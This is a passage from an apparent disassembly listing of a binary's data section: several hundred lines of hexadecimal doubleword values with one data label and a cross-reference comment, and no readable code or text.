		dd 5C851E38h, 6EB5172Bh, 717B3347h, 0B7438407h,	881248F8h
		dd 0E1373BD6h, 4E6182D3h, 8647DB27h, 65B8F008h,	4C3BF25Ch
		dd 2F18FE39h, 0FFBED0C4h, 2B3DC816h, 0B06FB100h, 0BAB73E5Fh
		dd 21FD0057h, 5D3A03C1h, 0AF4E6168h, 0C89BA120h, 0D410942h
		dd 0E81D53Eh, 0C559D2FBh, 1F593009h, 77294080h,	0EBAF958Dh
		dd 63C46DA9h, 11B8410h,	4AF19750h, 0B175714h, 67A5910h
		dd 9003FB2Dh, 369D3184h, 252F0921h, 283795h, 0F79EB293h
		dd 0DB2E0183h, 61168059h, 0D4C1AE34h, 6B8A24C1h, 1F49F88Bh
		dd 7A1112BDh, 161423EFh, 0AD740465h, 702F525h, 0E595656Fh
		dd 0B9E14044h, 2E27EF96h, 6CA30A7Fh, 0BD5D1D44h, 0D1AF30CFh
		dd 0E9136883h, 5198029Dh, 0C4CD0045h, 0D53FC185h, 16D6C6C9h
		dd 9EE201E6h, 7B2C12F6h, 21B28E13h, 0CE61E518h,	58811D6Dh
		dd 12A6E6Bh, 4B3A79F3h,	0BD41D251h, 50000EA5h, 16A28D0Fh
		dd 6DF44666h, 2B5E1700h, 1AE22958h, 887300D2h, 0A94DAB93h
		dd 7C51DBDEh, 6FE605AFh, 0C82D02B3h, 0D0719529h, 0B979B9h
		dd 6A440F76h, 9B5891Eh,	57501BC1h, 6722F8B2h, 84F5DB5Ah
		dd 0E6A2FE47h, 11804F3Dh, 59CAAF63h, 3712E17Eh,	46298A36h
		dd 121C6A6Ah, 3513F562h, 1AB8E4A9h, 0A906F31Fh,	0DF0AD3C0h
		dd 0BA09958Bh, 6E585F5Fh, 73F502EBh, 4459F953h,	0E9304477h
		dd 6F013125h, 209409Dh,	8709F5D1h, 20D7ECDh, 211A5B7h
		dd 185FDDB1h, 3F1A7D7h,	0CB597134h, 964825FFh, 90CE1209h
		dd 76B88FBDh, 2EF45E04h, 0C2AB9394h, 2154B5ECh,	0F578C4ABh
		dd 93628B2h, 4E2B4CBAh,	8B895D88h, 224469CFh, 0E1128014h
		dd 6133B64Ch, 0B9E70E51h, 693C596Ah, 0F2A801C8h, 76E9D113h
		dd 0C161E38Ch, 9E438244h, 1CC6D871h, 9BAE014Ah,	2418CE1Bh
		dd 2AD3BE35h, 2381A4DBh, 0BF0221C9h, 621CD481h,	72C8C761h
		dd 7DE3FFF9h, 59DB8DCh,	45F5FF1Bh, 2084B88Fh, 689812h
		dd 67BF5295h, 68535037h, 0B232CF00h, 81F98B76h,	0F1247934h
		dd 46BA129Fh, 860C1820h, 0F08D48CFh, 0DF92FF25h, 7D015D41h
		dd 29952F25h, 0DC0E5E89h, 0EA523101h, 8B490872h, 0E36DD64Dh
		dd 0BE0018B8h, 3AAA6B09h, 58A0CF9Eh, 7916B339h,	99DD12Fh
		dd 53900030h, 0FEF9A60h, 4AB25059h, 1A1A8253h, 555A435Ch
		dd 7EA1DCh, 0EB93C8D2h,	9033CA80h, 0ED173FB6h, 4BA0D54h
		dd 1DF98D2Bh, 0B6B51DB8h, 0C5E9A026h, 605758FDh, 2E980822h
		dd 1EB50244h, 6D036090h, 95317CC8h, 61817564h, 72BAF2C0h
		dd 3A026CCh, 74D449F5h,	8EF91C14h, 8D4A90FDh, 0D50B43D1h
		dd 0C0811D84h, 0B062BA66h, 11507A2Fh, 8A8D609h,	548D546h
		dd 5F8AC209h, 58F2F355h, 0B504F0F4h, 2D3F8968h,	50D3E483h
		dd 0AA4113AAh, 0DE72F489h, 8B57BD01h, 8C259D0h,	0E600FC66h
		dd 0BE5EE0A6h, 4AEA5277h, 0A5756600h, 37E36325h, 0B3D31AF8h
		dd 3E358AF0h, 85049992h, 3C141979h, 813EAA22h, 16591CD7h
		dd 19087A6Eh, 1BA1313h,	81F011E5h, 84DBBEAh, 1C14C283h
		dd 0FFF32091h, 472052CEh, 0FF505F62h, 0E3FF9F35h, 5E8289Dh
		dd 0C22B5819h, 8531F01Ah, 4D38DE00h, 41ABD5Ah, 3C50C200h
		dd 813BD003h, 1945353Ah, 2DE5B4FEh, 0D94565BEh,	0C83178B9h
		dd 120DD0h, 0CC3C4003h,	75C2064Fh, 0F38B2540h, 0E11210EBh
		dd 0F8051B0Ch, 311C7A5Bh, 0AD20D103h, 0B14DBD1Bh, 2CC91208h
		dd 3EECAA04h, 8490F8A4h, 0E3808B51h, 5FA98110h,	59BF60B0h
		dd 0C34AC033h, 243EDCAAh, 4819697h, 9AA7D268h, 0B472F9D4h
		dd 8A14ACABh, 8B87FC21h, 0C03560D3h, 1988FD8Eh,	0DF7D07C0h
		dd 0BFE77F73h, 4A7641FEh, 5D9EAB38h, 5C5E38C8h,	407D2360h
		dd 3BE6BF1Ch, 611A9712h, 9280E19Bh, 1DECAE0Fh, 5D03329Dh
		dd 1F0E2204h, 70958212h, 9C143E8h, 320B4DB5h, 19346291h
		dd 0C8E8021Eh, 0A36DD86Ah, 320C4CE0h, 6ACB663h,	691FF585h
		dd 1709BD19h, 7D0D9665h, 0F1CA821h, 1370E46Eh, 0BBA32E80h
		dd 0EF658A37h, 33E75D70h, 0E28CCAB0h, 904EDF2Fh, 36A6FF3h
		dd 8063943Eh, 5090F59Eh, 0A116EFF1h, 4E12B74Dh,	489F0CC0h
		dd 1951929h, 0D23E719h,	80379A2Fh, 0FE9983CFh, 816300F7h
		dd 0C2FD56E6h, 9D52297Dh, 79F264F1h, 2C4D75B8h,	0A401B5BCh
		dd 4C12631Eh, 892CFC23h, 75A10780h, 5D004B06h, 4D43BB4Fh
		dd 7EE879B1h, 9B6AE1B7h, 6D68C71Bh, 5960D0E7h, 0E4FF0E32h
		dd 0E1B52D33h, 6E45BF91h, 44E93012h, 0EF5CDFB8h, 62E809B3h
		dd 0F49FFC07h, 34600507h, 0CA26F18Bh, 29A52F98h, 1D645267h
		dd 3B8EB860h, 23A58301h, 1A6CA74Ah, 44AD8C20h, 2AE70A22h
		dd 8B80169Eh, 7F5FB749h, 99CD5813h, 0B05B249h, 8064B7EDh
		dd 0CAC8B30Bh, 0F202EF6Ch, 0F7A780Ah, 9FEAE48Ch, 0B4D92B85h
		dd 0A82DE88Bh, 4076CF06h, 184B2334h, 89F02E02h,	0FE0161B5h
		dd 0AE1F4484h, 0BAD2FFB8h, 8700E1F2h, 0A5B96663h, 0E8305E84h
		dd 9D318964h, 230F507Dh, 0E21257D1h, 0A3A67BB0h, 0D7723307h
		dd 61B06893h, 44F98D31h, 80AF2817h, 68B939C0h, 3CDC07FDh
		dd 0AB62BE66h, 0CDC0DC6h, 1DCEC422h, 44BF000Eh,	1343A604h
		dd 0A405E7E8h, 650FD65h, 0A5C90D7Dh, 41687C29h,	3B05D0E8h
		dd 0A381749Eh, 2B673768h, 0B92CC720h, 0FB0F0325h, 0F57536A8h
		dd 31517C09h, 0D01FF3E9h, 0E0E0AE9Bh, 4FE98002h, 0F60575E8h
		dd 16FBC0D0h, 4107CB3Bh, 6E5D3874h, 0BE23F990h,	342939E2h
		dd 118AA632h, 0D657064Ah, 0C500D6ACh, 8426E09Eh, 51F20DCDh
		dd 2AC9A7D0h, 89827817h, 7C09719Dh, 171A446Bh, 2F30D80Ch
		dd 5C828A12h, 96A5973Ah, 0A8D45335h, 47C82C44h,	0F104FD0Ch
		dd 0D3528805h, 0D342D12h, 18E19404h, 7B2C6D21h,	0E602E77Ah
		dd 9DB529C6h, 7AED93DAh, 0B9E83942h, 0BC3DD504h, 0A998AA00h
		dd 0F0F60973h, 77442C29h, 0F8229062h, 99028C18h, 0B437BFF5h
		dd 0A84D4B0h, 385E115Dh, 0A8D129A5h, 188FA739h,	972DCD15h
		dd 15C4AE4Dh, 893F9160h, 9AD3954Fh, 0E3DBD48Bh,	885F6AC3h
		dd 0F6ABC690h, 9DD5C2Fh, 4FB95E05h, 0DCE92328h,	574ED423h
		dd 9C8D7A4h, 2713922Bh,	60FD4E0Fh, 0DB53109h, 69BE741Dh
		dd 0E4588A5Bh, 0C4361229h, 0B3BB874h, 616D9D09h, 0AF2B93E4h
		dd 0C1500F23h, 9D2EC88Bh, 786A6E2Eh, 66345601h,	414FE3BFh
		dd 22FB598h, 706BDB5Bh,	0A500B75Fh, 988F15EFh, 5CD9BF54h
		dd 8D28CC0Bh, 0E7174EF9h, 60C8A0FBh, 0BE43E3B3h, 61A93185h
		dd 41AD9B6h, 71B61D85h,	30E7BFE1h, 1440E50Eh, 5F6FED23h
		dd 4420B73h, 0F2700E73h, 0FC88FBB3h, 0F0B0989h,	0F96A6880h
		dd 0BB4C9FCh, 52347585h, 2AB237h, 0D413D937h, 5CBD3F19h
		dd 313D29E0h, 0D03B450Dh, 6B21F55Ah, 1518637Ah,	0E98552C8h
		dd 1A829594h, 8EC5E781h, 92341ED8h, 21B849FDh, 3B80E602h
		dd 89840F8Dh, 0AB640Eh,	8FC45F56h, 1B8ED8D1h, 7625B600h
		dd 0EB645950h, 490DFC95h, 4C58E503h, 14DB582h, 40F1FE0Ch
		dd 5700601Dh, 0F0815FFCh, 48AF3CFFh, 0F9350F67h, 818FDBD0h
		dd 0E595922Dh, 160D812Fh, 8B8651DBh, 31BD52FAh,	0F6D0285Bh
		dd 501D629Fh, 0C061577Fh, 644CE23Dh, 28D40DBEh,	14527D63h
		dd 9417F5BDh, 0D2DE184h, 862E5EF8h, 60252B8Dh, 3B1BD9F9h
		dd 70937F80h, 0F7784DE8h, 0CFA2AD0Ch, 0D3C94461h, 0B841FD51h
		dd 0BF6B3D97h, 4C597D0Dh
		dd 0F0322686h, 5F11F91h, 8422499Ch, 0A4F48C09h,	0D3738B1Fh
		dd 0B9AEDBB4h, 0D59AC96h, 0F88BAC9Eh, 7908E5F4h, 0AF00E995h
		dd 4ECF593Dh, 866C8B5h,	84A3D100h, 0F59F1E68h, 334D02E5h
		dd 0EB69274h, 2D40D55Ch, 13E6038Dh, 9D62682h, 0A5D31AE6h
		dd 30818C73h, 6937355Dh, 8051DA5Fh, 780F8C6Dh, 0F55D0409h
		dd 0AB60C59Bh, 0F39396A8h, 66610507h, 0E7ECF28Bh, 9A06C280h
		dd 3F00D52Dh, 8C7CB299h, 1AB9F20Ch, 27D7E9B3h, 0F9E06ECDh
		dd 25FD3B10h, 60ED6A3Dh, 84EB2AE2h, 24AEB195h, 91C4C2F3h
		dd 379D8552h, 0FA5E92CDh, 8B948303h, 0A6444FCFh, 4649E0D2h
		dd 7FAF0BBEh, 56467368h, 59D8911h, 4327EA4Ch, 1D7927E0h
		dd 4AF78B80h, 8018DBC3h, 0E963CB4Dh, 0AE7A16BDh, 459E84B1h
		dd 0FC58A8Ah, 0C069F7F4h, 1A8B0EB7h, 49476F93h,	51885357h
		dd 6FD30B38h, 9B610BABh, 77685891h, 1A81E8DAh, 0BE9FABF1h
		dd 9181357Fh, 935B8018h, 0B29C066Ch, 0C09F024Eh, 50FE8B90h
		dd 0AF004CD1h, 773258CEh, 0F91901B6h, 5031E521h, 0B8713D90h
		dd 0AE5400A4h, 897E316Bh, 444A3865h, 68B089FBh,	95202497h
		dd 41446D4h, 15B50137h,	0F239C6F5h, 970014BCh, 374640CCh
		dd 27165285h, 822B8B0Fh, 0BD0715D9h, 0A5D0A6D3h, 70987Bh
		dd 4C3ED2A7h, 29EF810Fh, 365051F2h, 6F4BB9DAh, 5A9D4A82h
		dd 0B8C29F5Fh, 0B6FEF404h, 629D3699h, 8A501224h, 5BC1F2DDh
		dd 7380A59Bh, 0B5ACFF7Ch, 31F78C02h, 200BE952h,	3462C8BBh
		dd 10A1E801h, 76D73FB3h, 0B58D5F34h, 87C277EAh,	5C7D1A7Fh
		dd 7524DC8Ah, 0F3033B1Ah, 8D8D4218h, 7AC416EBh,	0AAE00084h
		dd 82C72541h, 0BD093BFDh, 0D1FFA1E1h, 0B4C07EBFh, 955F510Ch
		dd 0A2D939DDh, 0EDEA2313h, 24ADB64h, 0C0C89ABEh, 0BBB931ECh
		dd 0B1510B9Bh, 2B789055h, 81BD8FB5h, 961CAF8h, 90354B7Ah
		dd 0DCC059CDh, 34D4C64h, 4ABB6D34h, 5859AD6h, 0EF02CDCEh
		dd 4600CC7Ah, 0DF30D117h, 0B494E18Ch, 37976540h, 67A40E1Ch
		dd 0BA6060CEh, 1D5FA5E7h, 7BEB8200h, 0B8E98996h, 1745B50Ch
		dd 16FC388h, 0DA8454BBh, 0EC012129h, 0C4B52BE2h, 0B0BE02E0h
		dd 0FE705974h, 1530845Fh, 9F025B09h, 5E5DB406h,	0E7E11998h
		dd 0F61F5050h, 5B153D9Ah, 0BB4A4h, 3FB1DB59h, 2E8BF3C5h
		dd 28765BDFh, 9D4DB5A5h, 0B520E4C7h, 598D89B9h,	844A37ADh
		dd 0B2ACAF76h, 988C16F8h, 809A092Bh, 0F15DA1CBh, 0DD005488h
		dd 0C48A615Dh, 2D256FBFh, 115B3839h, 1A517FA1h,	9006C518h
		dd 958B36C6h, 0B4BDE6A6h, 247724B1h, 7CD05B8Eh,	9E1DBD65h
		dd 6317A868h, 6A0B08B9h, 8D8423FFh, 7A94150Ch, 6494B54Ah
		dd 9CB850A9h, 0E1A75504h, 8881B97Eh, 2207233Dh,	0AD640109h
		dd 5B1B2920h, 0DBC8C0B0h, 7009E6C1h, 271E4FCh, 7F055D3Eh
		dd 8FEA4519h, 2DA8A67h,	0D1F8C8B6h, 83B2465h, 502D1E01h
		dd 98D7DDF2h, 1D3170C1h, 0C00464BDh, 0D381D9ECh, 0B22D5DF3h
		dd 68300C4Eh, 624E971Bh, 0ADF7E00h, 0FCADC123h,	0A45800C0h
		dd 3C87EE53h, 0B924AF28h, 0F5021C56h, 0AEC82B5Fh, 60D143A5h
		dd 61C7B0F8h, 85B53731h, 45D12B85h, 8BAA1E87h, 0BBAEE8E9h
		dd 0DA120082h, 51C78154h, 6858F045h, 0BF067E53h, 5773F719h
		dd 907F9510h, 4E9F88h, 0AA42D399h, 3B8ADB80h, 20D0D064h
		dd 0B59D3141h, 4483BA08h, 10DA016Ah, 1BA56B12h,	8236FD67h
		dd 0BD89571Bh, 4B8DD819h, 986F35Fh, 7EF9B70Fh, 1C848867h
		dd 9FBB6683h, 85A5EA71h, 8805FE16h, 20A289DEh, 3FBF0F1Fh
		dd 0B58D88F0h, 2F98EFF2h, 3952E197h, 0A30C162Fh, 1E74CAEh
		dd 78575CA8h, 0DB6F6A61h, 0BDECC05Fh, 27BC0D1Fh, 4ED19AD9h
		dd 3D9D8986h, 0A0B9340Dh, 4B6EFF7Bh, 30F49803h,	5E9C078h
		dd 0A48E41D0h, 0FC9B42A2h, 96E07E6Dh, 9DCF358Bh, 20F6A61h
		dd 4F9BDCFCh, 0E882820h, 631F5815h, 60C04D24h, 0ED165585h
		dd 17A90E3h, 0A43BE9E7h, 0C2B85B25h, 81BA3DFDh,	2B2F9B27h
		dd 0D56E3BD2h, 0BB80BB4Ah, 62C233ADh, 83D040D1h, 0F4759140h
		dd 536058h, 80ABBCCBh, 0AD6159C6h, 0A22FE0FAh, 6512F849h
		dd 46041921h, 0D0B2205h, 37A5AFFCh, 82870915h, 8D9D7282h
		dd 951023FAh, 0B31E320Dh, 0E5B43E4Fh, 2D4E816Fh, 0EB50030Ah
		dd 318F8C2h, 0FA08DFC1h, 19968355h, 136F58h, 89EDD51h
		dd 0B5534D85h, 82754410h, 3F9DD301h, 167A5511h,	0C934043Eh
		dd 2122AE1Fh, 6530770Fh, 0A100759Ah, 0A3EFE31Bh, 0BF274Ah
		dd 47190CC9h, 82C0558h,	2204734Ch, 46C4BF15h, 0A68CCE0Fh
		dd 0BCB6007Eh, 0CB5538h, 9C3A604Bh, 835B7A48h, 3A1C89A1h
		dd 4BB3B923h, 0E042B63Dh, 2689E71Eh, 3DAF86ECh,	5FE2BC2Dh
		dd 23F3769Ah, 301770h, 0D69FE965h, 1586192Dh, 5A2F8D71h
		dd 1E8BD4Dh, 0C4D39B7Bh, 99BE41B3h, 0E1FF012Fh,	80F04726h
		dd 4495DA3Fh, 0CFF0031h, 9B83B1F7h, 8A01AA5Bh, 9253685Fh
		dd 0D1CD518Bh, 22B1C041h, 75D26F0Ch, 16A85905h,	4011122h
		dd 0CC574B79h, 165B5287h, 8691033Fh, 0DA14A2Dh,	6572E6ADh
		dd 0C9FA604Ah, 0B5B2F797h, 8BF5E1CAh, 81BC3774h, 0AE31BB95h
		dd 21BA603Eh, 24800B40h, 2FFC04E1h, 0C90A3623h,	3FE7CC31h
		dd 0C460DA8Bh, 0E00C4155h, 0D9F133DFh, 0E8B62D1Ch, 44CB484Fh
		dd 4053D1Eh, 570E820Fh,	0F4ED9120h, 60D30537h, 45B5632h
		dd 9B2404F2h, 76FFC0FEh, 0E88C7EEAh, 0F66A5E29h, 1603F05Dh
		dd 6B7C1768h, 0C6651891h, 8A252135h, 927DADCh, 2E8D9883h
		dd 2F67F818h, 99FA3100h, 182C75A7h, 8E5C1759h, 30DC09B7h
		dd 40006964h, 0E1ACCBB8h, 48F295h, 0E8F01160h, 855EA9CDh
		dd 77E4C316h, 2D9CF04h,	124EFE5Eh, 0EA60C755h, 0B47617D0h
		dd 0F520B504h, 7DE5812Eh, 92372DACh, 6CB1EAC7h,	0C4A5DB2Ah
		dd 538103BBh, 65881711h, 609781B5h, 1FE59705h, 21F13F04h
		dd 4B7771A9h, 0B6551359h, 0F618E081h, 7B105D3h,	9B06899Bh
		dd 0D4FFC2D7h, 0B7724CD5h, 84C0854Dh, 24DD7464h, 5EBE783h
		dd 0F14689DFh, 9AD27B59h, 432B7C50h, 0B9886939h, 9B582838h
		dd 0EABB409h, 76118AF0h, 1EBB3102h, 82F8376h, 24340990h
		dd 0C03E09F4h, 0F1B552FFh, 5009683Fh, 0E2763788h, 417AFA90h
		dd 0B9016B5Fh, 379753DBh, 9B56E2Bh, 1A8DD501h, 707EF341h
		dd 0BE00820Eh, 0AB398DB3h, 0E55090A3h, 4080E428h, 0F9A80405h
		dd 977E4249h, 60C76EE8h, 0FFCD1B61h, 0EB59D1C0h, 0EF4600A8h
		dd 8B58A26Ch, 854CC7F9h, 0F6AFD2DBh, 0AD007F42h, 4078B0F2h
		dd 267F8F32h, 21F5AC08h, 921C2686h, 1AF7E38h, 9D8BFDF9h
		dd 0BE0530E5h, 20169326h, 6E950AE1h, 1673F4E4h,	0E0C3050h
		dd 1644479h, 0AD3E87C1h, 4C9A030Eh, 295803F1h, 0EBE70D2Ch
		dd 4DE3636h, 16EE3964h,	29501B33h, 18214028h, 113CD58h
		dd 841B0957h, 9509C0C2h, 4C79E8BBh, 0C985A193h,	0B813FD14h
		dd 0A3D403CDh, 1BB4559h, 31EB34A9h, 0D1C93F48h,	9131D60Ah
		dd 21D98A63h, 0B70F01A5h, 0C6043A33h, 4181DDE8h, 50061349h
		dd 6BE2B55Ah, 0AA337934h, 7FC76Eh, 0D7DFC1A5h, 0DD8A7F16h
		dd 6C7F513h, 8104E518h,	21CC09F7h, 26846217h, 0F42E4109h
		dd 0D4C824FEh, 0D3C33F9Ah, 8CB6BB82h, 9ECA4637h, 79DBF689h
		dd 0C02770h, 0BC489E9Dh, 0BF6CBA4Ah, 0AF9D3A9Ah, 0AAFDEACDh
		dd 37259BA3h, 0BA7E004Ah, 0F760A78h, 9D09C20Bh,	0B73E9361h
		dd 16691076h, 0A71AB195h
		dd 9B02A012h, 0BF050278h, 1C3B9599h, 8D01E0B0h,	0C49B6958h
		dd 1AF92449h, 6C0791E8h, 12E6535Ch, 446AB6Eh, 0A85639CBh
		dd 0D1931BAh, 3DB1C486h, 2D158D18h, 48DBD69Fh, 50AFC09Fh
		dd 1C1D0938h, 4C28313h,	8AB8C4EDh, 0F15E6D25h, 64D5251Bh
		dd 2797D97h, 29E6D155h,	0FDCAA9BDh, 20504082h, 1811DF5Ch
		dd 0ECA18509h, 78FEF35Fh, 7C014062h, 7DF1AEBAh,	0AB41E099h
		dd 86123081h, 0F5406F5Ah, 2ABB1266h, 23526E7Ch,	78380019h
		dd 45A253B8h, 0DA5EA4B8h, 0EDE07234h, 44BB0596h, 885BAD30h
		dd 128B03E6h, 0E6965F23h, 11B8E37Ch, 9453D1CCh,	0AA11218h
		dd 302D9021h, 0EF7A9C22h, 0C91F7A32h, 3826211Eh, 5225B54Ah
		dd 0BF50022Bh, 515E3B8Dh, 0E4182F5Fh, 0F28A0C75h, 1FCB205Fh
		dd 29729787h, 35248B01h, 2CA27822h, 0E09D8A9Fh,	0D1D6109Fh
		dd 0B43507EEh, 208D4C24h, 9FB55104h, 7373C278h,	3469D82Ah
		dd 8B04B79Dh, 66D99E17h, 75778700h, 77C1997Ch, 2F7300CBh
		dd 3F4B582Dh, 9A3B09FFh, 0D57D25E6h, 8B9631C4h,	56E807DCh
		dd 53F74D61h, 63AA958Ah, 21002FD9h, 0D63D77DFh,	718228F3h
		dd 29CD20CAh, 8A280240h, 0B3A4BDF9h, 4823AD09h,	820875A5h
		dd 4F037C5Dh, 0D4C6D985h, 0EB4DC487h, 17387654h, 690461CAh
		dd 0C6BC24ADh, 0E0E4259Ch, 0C0419F00h, 30954F37h, 647A0053h
		dd 61FD1712h, 0CB7B812Ah, 70AFA700h, 0F467E95Bh, 192BE2FFh
		dd 99078D9Dh, 11A89EC1h, 18977AFCh, 0F82FBF09h,	0CD6B4FA2h
		dd 0DC2161h, 674C1646h,	0FD086602h, 0F95F533Ch,	47B5AF8Ah
		dd 5D5C7603h, 0FFFEF26Ah, 0FC8CF311h, 0C9012806h, 424E8ABFh
		dd 0EF645B01h, 21319ED6h, 883780D6h, 11540D27h,	0D43E1C3Fh
		dd 816E9DAEh, 12D54E5h,	58EA802Fh, 0BF5261CEh, 6683902Dh
		dd 4640977Eh, 60880480h, 61D0258Bh, 0B7DDB662h,	15D50280h
		dd 0FBE0557Dh, 505F7E3Eh, 9FC46DF0h, 0D0983662h, 1008841h
		dd 0E3D66D72h, 0FCAEEFF8h, 310F31F4h, 7E40443Eh, 16671789h
		dd 0DF2CE2A0h, 0BE4AA800h, 0B88F354Bh, 541F98F8h, 74BFF9C5h
		dd 3D7816B9h, 0C43B9B6Ah, 25C0CFA0h, 12B22064h,	0BCE6505Dh
		dd 713027ECh, 181BF972h, 6B7E0003h, 0DFA56721h,	0D72580EBh
		dd 642FCD9Ch, 8BA3601Ch, 1D360080h, 0DC30D813h,	0B9588589h
		dd 2C539C86h, 98F4E28Ch, 0B1D14A9Dh, 10282BD8h,	86578A3Fh
		dd 7F9B169Bh, 0E7B79802h, 7AE49D2Eh, 4800856Ah,	0B1B6DF9Ah
		dd 5D5F8531h, 33F83D0Bh, 0DF4CF75h, 70B2ADACh, 0B7277844h
		dd 40C350D9h, 9D5A0315h, 362A5AF5h, 0BD20BAA0h,	50902C0Dh
		dd 0BCA20E71h, 0E2B8F6D2h, 0CC80564Eh, 344B6178h, 56ED8BAEh
		dd 9CECB075h, 0EE773B7Ah, 5879C738h, 4073A231h,	0B9046020h
		dd 5CEBD192h, 4C5B8CCh,	0A9AA588h, 0A8588490h, 0FAF0D37Eh
		dd 0F66A8108h, 0E0166D57h, 0DCF2103h, 5EA16C58h, 0F69B88D5h
		dd 496317C7h, 0BC917885h, 5F984A2Ah, 302B894Ch,	64BF1D78h
		dd 0E4114407h, 0A394FE00h, 0AC0BDE99h, 53623A21h, 0D3FA902h
		dd 0BE6E25Ch, 0B0586C03h, 98CE4D0Eh, 0EAF54E83h, 22D405C6h
		dd 58DF821h, 0E270E682h, 41E300DFh, 5774965Ch, 0A49F1287h
		dd 85260EF8h, 71E40670h, 2532DB81h, 9D6925D7h, 0CCAF14EFh
		dd 0F0008D5Eh, 7AFDE634h, 26C48EEh, 0E298AD65h,	0BF54B58Bh
		dd 0B6425E98h, 2D6C98C8h, 20EC20FDh, 190D77A0h,	0EB59295h
		dd 0B5B2D28Eh, 0C079A272h, 3F535BCh, 0FD754E03h, 21A8D707h
		dd 0C409242Ch, 89C94B32h, 9277FC15h, 81CAB05Bh,	9A46EF00h
		dd 0C82B6ADAh, 91CF0980h, 7371D18Bh, 2ABE9B00h,	778F440h
		dd 4322EE34h, 0ADA734AAh, 0F0E48EB6h, 88E6885Ah, 0D9645594h
		dd 0A0AE12BFh, 0EFFCBBB7h, 0D373BD22h, 4A2DF9EEh, 2A11AF92h
		dd 4A2F9069h, 7020A289h, 5EC79868h, 7688A35Ah, 9FC8DA4Ah
		dd 5622AA1Fh, 0A5A8BF8Ch, 0F5FE2617h, 815B20FAh, 0C538E593h
		dd 4A2984Ah, 0DDECF826h, 6D461DF4h, 0D33C8022h,	0FF28597h
		dd 6AD9BF12h, 0F96FEEh,	0F3DADFCEh, 0B8BA3046h,	90980BACh
		dd 0CDFC61A2h, 0D42DD4E9h, 0EDE4E103h, 0CB1E84B9h, 0BA088346h
		dd 95B0F0CCh, 0F4D3B30Bh, 7E130C70h, 0B5892739h, 8B13825Ah
		dd 0D51DFCFAh, 150ED3D2h, 1CB712B8h, 49D92DB0h,	2B1502BDh
		dd 9A375FD2h, 0F8AC1400h, 0E1BC5EEEh, 7AA556D2h, 0AB878537h
		dd 73B9749h, 0E24DBD5h,	0F8597ACh, 8027028Eh, 0DD7341CBh
		dd 4411EDADh, 0D696ACE9h, 38E0C4F6h, 0B526465Eh
		db 0EEh, 13h, 4
byte_544547	db 9Dh			; DATA XREF: ___:off_447214o
		dd 0B7AC16F1h, 78E99CBDh, 0C068CD65h, 0B86F49F3h, 5ED26048h
		dd 4C0FAAE4h, 0BEC24386h, 0AC608DE6h, 9495D8BFh, 4216FB7Fh
		dd 0AA26A520h, 0F4B5FC36h, 1DEDC002h, 56DE7298h, 0C781605Ah
		dd 0D00A37A4h, 0B9E1FF71h, 423B03DEh, 0E9C2EA82h, 0A3FBD626h
		dd 2DB2D812h, 4DA55B88h, 3CBAC0EDh, 541DF06Dh, 0DB798D09h
		dd 0A893A674h, 9B665A43h, 0A6ACC0D0h, 25DE4D1Eh, 6865D917h
		dd 202203Eh, 15F878BFh,	0AE16056h, 5E56FE35h, 5496C249h
		dd 91B243Bh, 395A7ADCh,	0ED33FA45h, 44DFCD25h, 6B660296h
		dd 79BD89A9h, 0DAF3E3EAh, 0A4181759h, 0C53C213h, 2CC026FCh
		dd 0CE78BEF9h, 0A489D33Eh, 0AD089848h, 0B3611215h, 7205E7Fh
		dd 5D64DBh, 30BA06E2h, 0B7FFCD0Eh, 7008504Ch, 7CC7E28Ah
		dd 0D312DCE1h, 7F05626Fh, 79191331h, 8D8F119Ah,	0AD859368h
		dd 0E612AEB2h, 166C46A0h, 84D711Ah, 0A9A606EAh,	5B57B917h
		dd 4E88A78Dh, 10F2F65h,	5B29A9BDh, 0DFF59F31h, 153E584h
		dd 0BA2FE5D1h, 93FCE00h, 95C6FDDAh, 57534C9Ah, 723CDA70h
		dd 0F6E178Dh, 95C56180h, 75A8040Bh, 0EC7DA94Bh,	2A2325C5h
		dd 21254AE0h, 7677BA95h, 5E3A6020h, 91260D0h, 76B72255h
		dd 0A8EBF94Bh, 0D40707E4h, 0E1D8F7BDh, 41C4425Dh, 1321D8h
		dd 9F0689F8h, 8A42D64Ch, 0BDE1D84Ah, 2AF3D155h,	13C55114h
		dd 1ED792CCh, 0D0616902h, 0FA6A88FCh, 7E271CA3h, 2E309A7h
		dd 0D797355Ah, 2980E9B7h, 0E4F96257h, 73583745h, 1B3CF88h
		dd 0D268FA13h, 5063D057h, 130B5258h, 2802201Eh,	56FE8B31h
		dd 542D4061h, 0DACA63E5h, 46A5F79Dh, 9CDFF84Ah,	2578AB86h
		dd 9613B037h, 0FBA86700h, 31EB8063h, 0ECBA61FEh, 192D2BEEh
		dd 7916E2Eh, 9589A53Fh,	56A82AB4h, 314E25E3h, 748006C1h
		dd 1392B128h, 813BA2C9h, 26BE1EAh, 0F1B5C8h, 0D986D5DAh
		dd 7EE54CFCh, 193A2BEFh, 0C093DBE4h, 58F38A6h, 6BB31449h
		dd 9509F356h, 3D592B31h, 4D38B3CAh, 9011421h, 81C5F2C2h
		dd 1A5D9513h, 9A28F78h,	6542C420h, 0DE8A0B23h, 0B482BB76h
		dd 297019BDh, 56291A95h, 8A1FDC61h, 1200D225h, 79D4B3D7h
		dd 0F1BB48BFh, 316A7631h, 52742B2Eh, 426014D2h,	0B68757B8h
		dd 611268D5h, 0A94A3BB3h, 4EDB814h, 969E16A4h, 8016A860h
		dd 17D67957h, 2DBC0E61h, 24A02F97h, 9464BA66h, 0D4205E5Bh
		dd 3AC15688h, 58040FEAh, 0E850615Ah, 0FCC58094h, 0A21538h
		dd 68B674A7h, 0FF735770h, 13ACDD01h, 96E187D9h,	12986E7Eh
		dd 32ECBE5Bh, 48F9FE80h, 7200BD31h, 83BB2F71h, 2F7B30B3h
		dd 13EC525Fh, 5B248E42h, 0C380C105h, 5B352B33h,	571271E8h
		dd 461CE7A1h, 0F36AB0FFh, 44A7B56h, 0EC53A249h,	5BC9AE03h
		dd 5AA823Eh, 6EEA6656h,	5B264509h, 79F8A33Ch, 0C3C42B58h
		dd 293278A3h, 50090262h, 7ABD9B39h, 23549B92h, 641D4D25h
		dd 0F1796714h, 801D1F34h, 2608290Eh, 5B04DA8Bh,	16D9D31h
		dd 0B6D323ADh, 0DB8AE0BDh, 0CCF30048h, 705E6CBFh, 0E7308013h
		dd 8501506Ah, 9E1C9719h, 566359Dh, 0B32BA5FBh, 22FC58D1h
		dd 61604A0Eh, 28658547h, 0BF610003h, 78A8C89Ah,	20575F50h
		dd 122F326Ah, 0E662A025h, 0EBB59522h, 0CD215100h, 790EB168h
		dd 409D94BCh, 35AD707Eh, 0D053170h, 57922707h, 6ABDC30Fh
